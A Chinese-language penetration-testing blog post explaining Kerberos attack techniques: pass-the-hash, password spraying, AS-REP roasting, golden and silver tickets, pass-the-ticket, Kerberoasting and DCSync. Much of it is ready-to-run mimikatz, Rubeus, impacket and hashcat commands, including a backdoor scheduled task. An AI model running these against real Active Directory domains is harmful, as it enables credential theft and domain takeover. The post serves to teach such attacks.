Kerberos协议的安全性问题

上一章讲了Kerberos协议的细节,这章讲讲kerberos协议的安全性问题。

AS-REQ&AS-REP阶段

PTH 和 PTK

PTH(Pass The Hash),PTK(Pass The Key),哈希传递攻击

由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。

如果hash的ntlm hash,加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。

ptk原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

PTH适用情况:

  • 本地账号:默认只有管理员组内账号可以pth
  • 域账号:默认均可pth

PTH的方法:

1
2
3
4
5
# 使用mimikatz进行PTH
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:dar.com /ntlm:93b95aef15f4d50fab96ffc44a2f326a" exit

# 使用impacket脚本进行PTH**
python3 xxx.py domain/user@ip -hashes :93b95aef15f4d50fab96ffc44a2f326a

PTK的方法:

1
2
3
4
5
# 获取aes的hmac
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

# 使用mimikatz进行PTK
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"

用户名枚举和密码喷洒

在AS_REP返回字段中error_code会根据用户名的不同而返回不同的值,通过这个比较就可以通过改变cname的值进行用户名枚举。

用户名正确但密码错误时,error_codeKDC_ERR_PREAUTH_FAILED(0x14)
用户名不存在时,error_codeKDC_ERR_C_PRINCIPAL_UNKNOWN(0x06)

使用kerbrute进行用户名枚举

1
2
# 探测域用户
./kerbrute usernum --dc 域控IP -d 域名 username.txt

在已有用户名的时候,为了避免帐户被锁定,可以尝试进行密码喷洒攻击(Password Spraying)。普通的爆破就是用户名固定爆破密码,但是密码喷洒,是用固定的密码去跑用户名

1
2
# 密码喷洒
./kerbrute passwordspray -d 域名 --dc 域控IP users.txt password

AS-REP Roasting

对于域用户,如果设置了选项“Do not require Kerberos preauthentication”不进行预认证(该属性默认是没有勾选上的),此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP内容(enc-part中的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成“Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。

使用impacket中的GetNPUsers.py来进行检索哪些用户开启了“Do not require Kerberos preauthentication”,并获取他们的TGT,以hashcat能爆破的形式输出

1
2
3
4
5
6
7
# 多用户
proxychains python GetNPUsers.py <域名>/ -usersfile <users.txt> -dc-ip <域控IP> -format hashcat

# 单用户
proxychains python GetNPUsers.py <域名>/<用户> -dc-ip <域控IP> -format hashcat

# 可以加上-outputfile <outfile>参数,将结果输出到文件

之后使用hashcat进行爆破

1
2
3
4
# -a 0 指定为字典爆破模式
# --force 忽略warning
# -m 18200 指定爆破模式为"Kerberos 5 AS-REP etype 23"(18200)的格式
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$xxxxxxxxxxxxx' rockyou.txt

黄金票据

在AS_REP中ticket里的encpart是使用krbtgt的hash进行加密的,如果我们拥有krbtgt的hash,就可以给我们自己签发任意用户的TGT票据,这个票据也被称为黄金票据。

构造黄金票据需要以下信息:域名、域sid、krbtgt哈希值,伪造的用户

获取域的sid:

1
2
3
4
whoami /user    # 获取域的sid值(去掉最后的-500,500表示为administrator用户)

# 使用impacket中的lookupsid.py也可以查看域的sid
python lookupsid.py dar.com/bob:AdminB123.@172.77.4.100

生成黄金票据

1
2
3
4
5
6
7
8
# 利用mimikatz生成黄金票据
mimikatz.exe "kerberos::purge" "kerberos::golden /user:Administrator /domain:<域名> /sid:<域sid> /krbtgt:<krbtgt哈希值> /ticket:golden.kirbi" exit

# kerberos::purge 清除票据
# kerberos::golden /user:用户名 /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的NTLM哈希 /ticket:票据名称.kirbi 生成黄金票据

# 利用impacket中的ticketer.py生成黄金票据
ticketer.py -nthash <krbtgt_NT_hash> -domain-sid <域sid> -domain <域名> administrator

TGS-REQ&TGS-REP阶段

PTT

PTT(pass the ticket)票据传递攻击。

Kerbreos 除了第一步AS_ERQ是使用用户hash加密时间戳验证之外,其他的步骤的验证都是通过票据,这个票据可以是TGT票据或者TGS票据。

因为票据里面的内容主要是session_keyticket(使用服务hash加密的,服务包括krbtgt),拿到票据之后。我们就可以用这个票据来作为下阶段的验证了。

正常我们用工具生成的凭据是.ccache.kirbi后缀的。

  • 用mimikatz,kekeo,rubeus生成的凭据是以.kirbi后缀的。
  • impacket 生成的凭据的后缀是.ccache

两种票据主要包含的都是session-key和加密的ticket,因此可以相互转化。

使用impacket中的ticketConverter.py进行ticket的转化:

1
2
python ticketConverter.py ticket.kirbi ticket.ccache
python ticketConverter.py ticket.ccache ticket.kirbi

导出tickets

1
2
3
4
5
# mimikatz
mimikatz "sekurlsa::tickets /export"

# rubeus
Rubeus.exe dump

导入票据

1
2
3
4
5
6
7
8
9
10
11
12
# kekeo
kekeo "kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" exit

# mimikatz
mimikatz "kerberos::ptt [0;4ee98c]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi"

# Rubeus
Rubeus.exe ptt /ticket:<ticket_kirbi_file>

# impacket
export KRB5CCNAME=/path/to/ccache/file
python xxx.py domain/user@ip -k -no-pass

请求tgt

1
2
3
4
5
6
7
8
9
10
11
# impacket
python getTGT.py dar.com/Administrator:Admin2016 -dc-ip 172.77.4.100 -debug

# Rubeus
Rubeus.exe asktgt /user:Administrator /password:Admin2016
# base64解码并写入文件
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

# kekeo
kekeo.exe "tgt::ask /user:Administrator /domain:dar.com /ntlm:f3a0acba8bcfb8a0896281bbfcb793ed" exit
kekeo.exe "tgt::ask /user:Administrator /domain:dar.com /password:Admin2016" exit

kerberosting

因为TGS_REP中ticket里的enc_part是使用要请求的服务的hash加密的,所以我们可以通过爆破,从而获得服务的hash。

这个问题存在的另外一个因素是因为用户向KDC发起TGS_REQ请求,不管用户对服务有没有访问权限,只要TGT正确,那么肯定会返回TGS。

其实AS_REQ里面的服务就是krbtgt,也就是说这个同样用于爆破AS_REP里面的ticket部分的encpart得到krbtgt的hash,但是之所以在网上没见到这种攻击方式是因为krbtgt的密码是随机生成的,也跑不出来

选择SPN服务账号进行爆破的原因
在域内主要有主机账号、用户账号、服务账号等3种主要账号类型,其中用户账户无法提供服务,而主机账号的口令由系统随机设置,几乎不能破解。

反观服务账号,服务账号的口令存在很大的特殊性,口令在应用软件安装时往往人工设定,复杂度往往较为简单,口令几乎不会更改。

因此服务账户就是kerberosting爆破的目标。

SPN
SPN(Service Principal name,服务主体名称),是服务实例的唯一标识符,Kerberos身份认证过程中使用SPN将服务实例与服务登录账户相关联,每个使用Kerberos的服务都需要一个 SPN。

SPN分为两种,一种注册在机器帐户(Computers)下,另一种注册在域用户帐户(Users)下。

当一个服务的权限为Local SystemNetwork Service,则SPN注册在机器帐户(Computers)下;当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

SPN 的格式为serviceclass/host:port/servicename

serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST
host有两种形式,FQDN和NetBIOS名,例如server01.test.comserver01
如果服务运行在默认端口上,则端口号(port)可以省略

SPN查询
使用SetSPN(自带工具)

1
2
3
4
5
# 查看当前域内的所有SPN:
setspn.exe -q */*

# 查看test域内的所有SPN:
setspn.exe -T test -q */*

使用powerview

1
2
powershell -exec bypass Import-Module .\powerview.ps1
Get-NetUser -SPN -properties admincount,distinguishedname,serviceprincipalname

Kerberoasting攻击涉及如下步骤:
1、攻击者在活动目录中搜索带有servicePrincipalName属性的账户。
2、攻击者向域控制器发起请求,请求特定服务的服务票据。
3、随后,攻击者收集服务票据,在离线环境中进行破解,得到服务账户的密码。

利用方法
获取服务账户的hash

1
2
3
4
5
6
7
8
9
# 使用impacket中的GetUserSPNs.py
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -dc-ip <DCip> -outputfile <output_TGSs_file>

# 使用Empire中的Invoke-Kerberoast
powershell -exec bypass Import-Module ./Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

# 使用Rubeus:
Rubeus.exe kerberoast /outfile:<output_TGSs_file>

hashcat离线爆破

1
hashcat64.exe -m 13100 hash.txt pass.txt

白银票据

在TGS_REP中ticket里的encpart是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。

相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是tgs票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。

但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用。

构造白银票据需要以下信息:域名、域sid、目标服务FQDN、服务名、服务账号的NTML HASH 、伪造的用户名

1
2
3
4
5
# 利用impacket中的ticketer.py生成白银票据(CIFS服务)
ticketer.py -nthash <spn_NT_hash> -domain-sid <S-xx> -domain <域名> -spn <CIFS/DC2012.0ne.test> administrator

# 使用mimikatz生成白银票据
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<S-xx> /target:<目标服务FQDN> /service:<spn名> /rc4:<spn_NT_hash> /user:administrator" exit

服务与服务名的对照表:

服务 服务名
WMI host、rpcss
powershell remoting host、http
winrm host、http
Scheduled Tasks host
Windows File Share (CIFS) cifs
LDAP ldap

伪造共享文件夹服务(cifs)权限

1
2
3
4
5
## 制作票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:cifs /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt

# 访问共享文件服务
dir \\dc\c$

伪造LDAP服务权限
如果已经获取DC机器账户的哈希值,便可以使用银票访问其LDAP服务,执行mimikatz的DCSync,以获取krbtgt用户的hash,进而制作黄金票据

1
2
3
4
5
## 制作票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:ldap /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt

## 执行dcsync,向DC发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
lsadump::dcsync /domain:hackme.com /user:krbtgt

伪造计划任务服务

1
2
3
4
5
## 制作host服务票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:host /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt

## 执行计划任务命令
schtasks /Create /S dc.hackme.com /TN Backdoor /SC minute /MO 1/TR calc.exe /F

伪造wmi服务权限

1
2
3
4
5
6
7
8
## 制作host服务票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:host /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt

## 制作rpcss服务票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:rpcss /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt

## 执行wmi
wmic /node:dc.hackme.com process list brief

委派攻击

委派内容比较多,新开一章委派攻击

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2023/05/02/内网渗透/kerberos协议的安全性问题/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog